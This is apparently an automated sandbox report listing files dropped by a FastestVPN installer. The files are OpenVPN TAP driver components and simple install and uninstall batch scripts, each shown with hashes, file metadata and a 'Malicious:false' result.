                                                                                                                SHA-512:8958432897981533C2822AC7355D56FC490EB89157423FAA5DF13A5EC00E75A9E791A3ECF478561C3B13988C553FD739FD2047C37EF91972DBF61AB55D475314
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..echo Removing old TAP driver.....tapinstall.exe remove tap0901 ..echo Installing TAP driver.....tapinstall.exe install OemVista.inf tap0901 ..echo TAP Driver Re-Installation completed successfully!..exit

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-1REBS.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):10866
                                                                                                                Entropy (8bit):7.241389894622462
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:LBDMDT23rJCeS39JnxrEwJqKkhYC9jOVKEwkqnajNkwIetug:LXdoJxXxkh39qVKtklJGNg
                                                                                                                MD5:6A3C291EB986A23B427ECF92779C6902
                                                                                                                SHA1:C96B9791A0F5AC27F84E2F3E06E64C8513168477
                                                                                                                SHA-256:C996AA42A022F1DE293F14445FEC7038A7CDC6AA2C4632C5CCA07ED53F88F762
                                                                                                                SHA-512:1FC247B10FB3717344174FC66EDD6ACC5DF171EDF9F70081715CA4C62499D6673B777B635EA043B397F6933201150E8D8EE28309BFA7F6F96326562D43BB6640
                                                                                                                Malicious:false
                                                                                                                Preview:0.*n..*.H........*_0.*[...1.0...`.H.e......0.....+.....7......0...0...+.....7.....atM...lN....n>....191023090129Z0...+.....7.....0..T0......t.:..h.?+...*);~.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0.... Y.....j...g.0....$..]o....-... 1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... Y.....j...g.0....$..]o....-... 0.......R.....Q.8Y....1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..xq....X.QO@....|s6..*.xV. .,.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..xq....X.QO@....|s6..*.xV. .,...e0..a0....+.

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-CEAE4.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (native) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):35008
                                                                                                                Entropy (8bit):6.574406479237283
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:nNoBjjOOA4dR/uEvBbuALxQbaxJxh639o:No9jyGu+BxLObev6No
                                                                                                                MD5:77E134EBCD2C8EA7D217EBD61DAAA7B6
                                                                                                                SHA1:F907526D7F1ED81A6F05BA040DE9E5DBEA421C52
                                                                                                                SHA-256:CDC110B59A650CF576D7E059DDB1E171BDE50789DD14ABE1199340312177EEDE
                                                                                                                SHA-512:57C6FFBB7D6D45EB461E2EAFDFA7B01FAAD0130511ED0C07931112FB72F7B1B18829BE3EBF1577DE4337B271F13C5F16528E588807F47A5B483A9BB4BFE6790C
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C..."..."..."...J..."...J..."...J..."..."..."...J..."...I..."...I."...I..."..Rich."..................PE..L...g..].................N...................P....@.......................................@A....................................P.......X............d...$.......... R..8...........................XR..@............P...............................text....7.......8.................. ..h.rdata..,....P.......<..............@..H.data........`.......B..............@...PAGE....[....p.......D.............. ..`INIT....T............P.............. ..b.rsrc...X............Z..............@..B.reloc...............`..............@..B................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-GBTCG.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):396840
                                                                                                                Entropy (8bit):6.504700092936786
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12288:mkska7m3uFm4uy6b10MtxnOrPdmBe3oIkm:mAawb109dmBK5
                                                                                                                MD5:D680D27DCC19546B721F731384EE56DD
                                                                                                                SHA1:B418C1B8CB5E8259F9C8CBED29676AD101A15425
                                                                                                                SHA-256:E64E59A011D45C5D9D93AC79305A060244796040FCFBA112D7F8218F945C7602
                                                                                                                SHA-512:B495D60E97A782EDA01833F3A45AC03E5F2E6E629D7117ED34E6EA411E85FD8A012C21BD793ED59D7B352F3AA7552209F46203680974CCB57D003A1C690F476B
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........b...1...1...1..0...1..0{..1..0.1C.0..1C.0.1C.0.1..0...1...1b..1..0...1..p1...1...1...1..0...1Rich...1........PE..L......].................<..........`m.......P....@.......................................@.....................................x.......................(H.......$......T...........................(...@............P..h............................text....;.......<.................. ..`.rdata..J....P.......@..............@..@.data...l...........................@....rsrc...............................@..@.reloc...$.......&..................@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-N2DQ9.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:Windows setup INFormation
                                                                                                                Category:dropped
                                                                                                                Size (bytes):7533
                                                                                                                Entropy (8bit):5.046821594517318
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:wr8tW9yCTi3K4vlP2bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGTxzo3DcNSj6jvKFkinuEQTXvzaZ
                                                                                                                MD5:3A541F2BF9842CDE6F0C95E83DE14FFA
                                                                                                                SHA1:12C074F03AA19968893F2BE48FDEF42A293B7EE4
                                                                                                                SHA-256:598EAD8481136AB0C8C99E67CA30841DB3C32417B45D6FEEDE04802DB0C4C320
                                                                                                                SHA-512:F060851D26E978AFA6AC632E74C221FB837FDEEE7752762BEE210D7BE144195A27514E108EF8C19A642BC03486E94721BD1B9D4AC69DB26BD892DCAA7894D3D2
                                                                                                                Malicious:false
                                                                                                                Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-SN54O.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):142
                                                                                                                Entropy (8bit):4.838122400792552
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:mKDD2G2FuyPuCkjLoOMXrHt9QVVkUoYmdFwLMiREl32AGN8BvAOA:hiPFvPullYkVVkxYmQLNREVNGN8B6
                                                                                                                MD5:012961E4DD4402DA78BC174AF09B77F9
                                                                                                                SHA1:900CA53983FAA217DD134664A9E694138E9A6FDF
                                                                                                                SHA-256:E7D73C9323599320AFA243DB5313F1A55ADFC34EDE66A4A656CA9172BF3C273D
                                                                                                                SHA-512:332A6BA6D1923A020DDB36E6E6FA80141B737ECC51EE52EE0D147B85DBC95DD3E97DA20083EAB3F5218DD9F4CA37DA986D35989F251F72C2512A42CBB6B462B9
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..echo Removing TAP driver.....tapinstall.exe remove tap0901..echo TAP Driver Uninstall completed successfully!..exit..

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-TDOKK.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):228
                                                                                                                Entropy (8bit):4.832057381123706
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:hiPFvPuaYkVVkZ0BNLllYYLV3GZ0Q/RLQ8NGN8BP:E9HuaYcyZcNLllYbZh/a8NGNc
                                                                                                                MD5:939DFFC36D36E4C85EE6703C812987E5
                                                                                                                SHA1:3BA5F451B1F5C269B4F51E847DA79A3C619CB9C9
                                                                                                                SHA-256:843C2DFB5FE8DFE7C5266F8F79D1E0AC0BA3E40D5C883D4AF879B6F273B7499E
                                                                                                                SHA-512:8958432897981533C2822AC7355D56FC490EB89157423FAA5DF13A5EC00E75A9E791A3ECF478561C3B13988C553FD739FD2047C37EF91972DBF61AB55D475314
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..echo Removing old TAP driver.....tapinstall.exe remove tap0901 ..echo Installing TAP driver.....tapinstall.exe install OemVista.inf tap0901 ..echo TAP Driver Re-Installation completed successfully!..exit

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tap0901.cat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):10866
                                                                                                                Entropy (8bit):7.241389894622462
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:LBDMDT23rJCeS39JnxrEwJqKkhYC9jOVKEwkqnajNkwIetug:LXdoJxXxkh39qVKtklJGNg
                                                                                                                MD5:6A3C291EB986A23B427ECF92779C6902
                                                                                                                SHA1:C96B9791A0F5AC27F84E2F3E06E64C8513168477
                                                                                                                SHA-256:C996AA42A022F1DE293F14445FEC7038A7CDC6AA2C4632C5CCA07ED53F88F762
                                                                                                                SHA-512:1FC247B10FB3717344174FC66EDD6ACC5DF171EDF9F70081715CA4C62499D6673B777B635EA043B397F6933201150E8D8EE28309BFA7F6F96326562D43BB6640
                                                                                                                Malicious:false
                                                                                                                Preview:0.*n..*.H........*_0.*[...1.0...`.H.e......0.....+.....7......0...0...+.....7.....atM...lN....n>....191023090129Z0...+.....7.....0..T0......t.:..h.?+...*);~.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0.... Y.....j...g.0....$..]o....-... 1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... Y.....j...g.0....$..]o....-... 0.......R.....Q.8Y....1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..xq....X.QO@....|s6..*.xV. .,.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..xq....X.QO@....|s6..*.xV. .,...e0..a0....+.

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tap0901.sys (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (native) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):35008
                                                                                                                Entropy (8bit):6.574406479237283
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:nNoBjjOOA4dR/uEvBbuALxQbaxJxh639o:No9jyGu+BxLObev6No
                                                                                                                MD5:77E134EBCD2C8EA7D217EBD61DAAA7B6
                                                                                                                SHA1:F907526D7F1ED81A6F05BA040DE9E5DBEA421C52
                                                                                                                SHA-256:CDC110B59A650CF576D7E059DDB1E171BDE50789DD14ABE1199340312177EEDE
                                                                                                                SHA-512:57C6FFBB7D6D45EB461E2EAFDFA7B01FAAD0130511ED0C07931112FB72F7B1B18829BE3EBF1577DE4337B271F13C5F16528E588807F47A5B483A9BB4BFE6790C
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C..."..."..."...J..."...J..."...J..."..."..."...J..."...I..."...I."...I..."..Rich."..................PE..L...g..].................N...................P....@.......................................@A....................................P.......X............d...$.......... R..8...........................XR..@............P...............................text....7.......8.................. ..h.rdata..,....P.......<..............@..H.data........`.......B..............@...PAGE....[....p.......D.............. ..`INIT....T............P.............. ..b.rsrc...X............Z..............@..B.reloc...............`..............@..B................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tapinstall.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):396840
                                                                                                                Entropy (8bit):6.504700092936786
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12288:mkska7m3uFm4uy6b10MtxnOrPdmBe3oIkm:mAawb109dmBK5
                                                                                                                MD5:D680D27DCC19546B721F731384EE56DD
                                                                                                                SHA1:B418C1B8CB5E8259F9C8CBED29676AD101A15425
                                                                                                                SHA-256:E64E59A011D45C5D9D93AC79305A060244796040FCFBA112D7F8218F945C7602
                                                                                                                SHA-512:B495D60E97A782EDA01833F3A45AC03E5F2E6E629D7117ED34E6EA411E85FD8A012C21BD793ED59D7B352F3AA7552209F46203680974CCB57D003A1C690F476B
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........b...1...1...1..0...1..0{..1..0.1C.0..1C.0.1C.0.1..0...1...1b..1..0...1..p1...1...1...1..0...1Rich...1........PE..L......].................<..........`m.......P....@.......................................@.....................................x.......................(H.......$......T...........................(...@............P..h............................text....;.......<.................. ..`.rdata..J....P.......@..............@..@.data...l...........................@....rsrc...............................@..@.reloc...$.......&..................@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows10\i386\uninstall_tap.bat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):142
                                                                                                                Entropy (8bit):4.838122400792552
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:mKDD2G2FuyPuCkjLoOMXrHt9QVVkUoYmdFwLMiREl32AGN8BvAOA:hiPFvPullYkVVkxYmQLNREVNGN8B6
                                                                                                                MD5:012961E4DD4402DA78BC174AF09B77F9
                                                                                                                SHA1:900CA53983FAA217DD134664A9E694138E9A6FDF
                                                                                                                SHA-256:E7D73C9323599320AFA243DB5313F1A55ADFC34EDE66A4A656CA9172BF3C273D
                                                                                                                SHA-512:332A6BA6D1923A020DDB36E6E6FA80141B737ECC51EE52EE0D147B85DBC95DD3E97DA20083EAB3F5218DD9F4CA37DA986D35989F251F72C2512A42CBB6B462B9
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..echo Removing TAP driver.....tapinstall.exe remove tap0901..echo TAP Driver Uninstall completed successfully!..exit..

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\amd64\OemVista.inf (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:Windows setup INFormation
                                                                                                                Category:dropped
                                                                                                                Size (bytes):7537
                                                                                                                Entropy (8bit):5.046488463217706
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                Malicious:false
                                                                                                                Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\amd64\install_tap.bat (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):228
                                                                                                                Entropy (8bit):4.832057381123706
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6:hiPFvPuaYkVVkZ0BNLllYYLV3GZ0Q/RLQ8NGN8BP:E9HuaYcyZcNLllYbZh/a8NGNc
                                                                                                                MD5:939DFFC36D36E4C85EE6703C812987E5
                                                                                                                SHA1:3BA5F451B1F5C269B4F51E847DA79A3C619CB9C9
                                                                                                                SHA-256:843C2DFB5FE8DFE7C5266F8F79D1E0AC0BA3E40D5C883D4AF879B6F273B7499E
                                                                                                                SHA-512:8958432897981533C2822AC7355D56FC490EB89157423FAA5DF13A5EC00E75A9E791A3ECF478561C3B13988C553FD739FD2047C37EF91972DBF61AB55D475314
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..echo Removing old TAP driver.....tapinstall.exe remove tap0901 ..echo Installing TAP driver.....tapinstall.exe install OemVista.inf tap0901 ..echo TAP Driver Re-Installation completed successfully!..exit

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-2EE9C.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:Windows setup INFormation
                                                                                                                Category:dropped
                                                                                                                Size (bytes):7537
                                                                                                                Entropy (8bit):5.046488463217706
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                Malicious:false
                                                                                                                Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-5MM1Q.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):10042
                                                                                                                Entropy (8bit):7.139091215265505
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:rrIa34E9odZubhd95wRLeOup+ZscF8Bd1LEqsa9sgfxIZH54o:nCZYQA9+ZsHLEhDgf2h54o
                                                                                                                MD5:685D08D5E2A2450648A40B518E2046FC
                                                                                                                SHA1:D99E38968DE1CA1850971A2B81BFDAB49626AAED
                                                                                                                SHA-256:56A658934ACC55AD665D685AE05913B4710E053A8FD385C0798B96041DA161B2
                                                                                                                SHA-512:619D08317328B351FEEA51C08C57B4704EEA0A92836D6ED3BE850478EA6A9C2A14DFA30C763581608E16983010AB2E12B51E3BEC68F3480EE45A04C0E857FDB7
                                                                                                                Malicious:false
                                                                                                                Preview:0.'6..*.H........''0.'#...1.0...`.H.e......0..Z..+.....7.....K0..G0...+.....7........N.u.C...y].7...191031061137Z0...+.....7.....0...0....R0.5.1.7.3.7.1.7.7.5.6.C.F.1.9.7.8.D.3.7.8.6.4.5.A.D.A.C.6.D.6.F.3.3.5.3.C.7.C.B...1../0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0>..+.....7...100....O.S.A.t.t.r........2.:.6...0.,.2.:.6...1...0M..+.....7...1?0=0...+.....7...0...........0!0...+..........7.ul.7.E..mo3S..0b..+.....7...1T0R.L.{.C.6.8.9.A.A.B.8.-.8.E.7.8.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}....0....RD.8.5.F.4.E.6.5.F.E.1.0.F.1.3.D.E.D.1.7.8.0.D.D.B.D.0.7.4.E.D.F.C.7.5.F.2.D.2.5...1..)0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0>..+.....7...100....O.S.A.t.t.r........2.:.6...0.,.2.:.6...1...0E..+.....7...17050...+.....7.......0!0...+........._Ne...=.....N.._-%0b..+.....7...1T0R.L.{.D.E.3.5.1.A.4.2.-.8.E.5.9.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}.......0..0v..+.....7....h0f...O.S.......XV.i.s.t.a.X.6.4.,.S.e.r.v.e.r.2.0.0.8.X.6.4.,

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-7IJT0.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):142
                                                                                                                Entropy (8bit):4.838122400792552
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3:mKDD2G2FuyPuCkjLoOMXrHt9QVVkUoYmdFwLMiREl32AGN8BvAOA:hiPFvPullYkVVkxYmQLNREVNGN8B6
                                                                                                                MD5:012961E4DD4402DA78BC174AF09B77F9
                                                                                                                SHA1:900CA53983FAA217DD134664A9E694138E9A6FDF
                                                                                                                SHA-256:E7D73C9323599320AFA243DB5313F1A55ADFC34EDE66A4A656CA9172BF3C273D
                                                                                                                SHA-512:332A6BA6D1923A020DDB36E6E6FA80141B737ECC51EE52EE0D147B85DBC95DD3E97DA20083EAB3F5218DD9F4CA37DA986D35989F251F72C2512A42CBB6B462B9
                                                                                                                Malicious:false
                                                                                                                Preview:@echo off..@cd /d %~dp0..echo Removing TAP driver.....tapinstall.exe remove tap0901..echo TAP Driver Uninstall completed successfully!..exit..

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-AONU2.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):498504
                                                                                                                Entropy (8bit):6.313132779768202
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:iVF7vR03+4YnfLU6wXnSmZb3lKm34AJ9Qvtk1Ai8mTnu5gtZXqg7VcoyUyHi6/Cz:iVXU/3TNfAkTnrZqkyh/agGKwNdUo15
                                                                                                                MD5:F19CFFFF76FF48E98F060A563DD8345B
                                                                                                                SHA1:C77F3FE9FFBA02DE288661FBB66656791196EDBC
                                                                                                                SHA-256:16D1FF6409065D9C0BC50FC2ADE61B3299A141CF2553749D8891BEDBEA43DE70
                                                                                                                SHA-512:0D4A53FA4B0D4FF71AF1FFF5888005570404BF5309942F477B1D754073F6D200ABADE20DAAFFA3FB6DA55F2B23588CA439273BD9268257B83B00F973B7B61841
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N....cv..cv..cv.Q.r..cv.Q.u..cv.Q.s..cv...s.#cv...r..cv...u..cv.Q.w..cv..cw..cv.~.s..cv.~....cv..c...cv.~.t..cv.Rich.cv.................PE..d....z.].........."......*...d.......z.........@..........................................`..................................................S..x............... L...x..H#......D.......T............................................@...............................text....).......*.................. ..`.rdata...%...@...&..................@..@.data....(...p.......T..............@....pdata.. L.......N...d..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..D............n..............@..B................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-ECRGA.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):39384
                                                                                                                Entropy (8bit):6.220766637489946
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:7CxLEO/+ApBG35KBOXZZoZmTf11a+uiExMFYQjEPKgz:NCI46R1a+jExMFFjWR
                                                                                                                MD5:2CCA8DC5DA7F197C8C97A2EEBCBFA908
                                                                                                                SHA1:1A463168F91A6AE254A3E99CE2691F9E7DBC2D46
                                                                                                                SHA-256:AA1EA00EA7D1FD8E404FB5FEFF948CFB86642F803BDF23D8262B8A0C1151B643
                                                                                                                SHA-512:AFBF92EA4A3C21048DC25FDC59779A0F20D6687CE9B2D0291268ED2D82A7020595AF2633EAE8623706162C36B24F6E8E70FA73F9D1088E2AB91BA8EAFB8E948F
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d....z.].........."......Z.....................@....................................:.....`A....................................................<.......X....p..H....x...!...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-ODB2O.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):228
                                                                                                                Entropy (8bit):4.832057381123706
